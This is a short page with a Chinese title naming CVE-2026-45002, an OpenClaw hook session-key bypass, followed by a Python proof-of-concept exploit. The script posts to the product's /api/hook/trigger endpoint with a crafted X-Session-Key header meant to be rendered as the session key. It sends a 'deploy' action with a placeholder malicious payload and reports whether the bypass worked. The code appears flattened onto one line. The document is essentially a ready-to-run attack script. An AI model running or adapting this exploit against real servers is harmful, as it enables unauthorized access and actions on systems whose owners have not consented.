CVE-2026-45002 OpenClaw钩子会话密钥绕过漏洞

# PoC for CVE-2026-45002 # Description: This script demonstrates how an attacker can bypass the # hooks.allowRequestSessionKey restriction by leveraging template mapping. # It sends a request with a crafted header that the template engine # renders as the session key, effectively spoofing authorization. import requests def exploit_openclaw(target_url): # The endpoint that triggers the vulnerable hook hook_url = f"{target_url}/api/hook/trigger" # Attacker attempts to inject a session key via a header # that is referenced in the server-side template mapping (e.g., {{ headers.session_key }}) headers = { "Content-Type": "application/json", "X-Session-Key": "attacker_controlled_bypass_key" } # Payload intended for the hook payload = { "action": "deploy", "data": "malicious_payload" } try: print(f"[*] Sending request to {hook_url}...") response = requests.post(hook_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request successful! Potential bypass confirmed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8080" exploit_openclaw(target)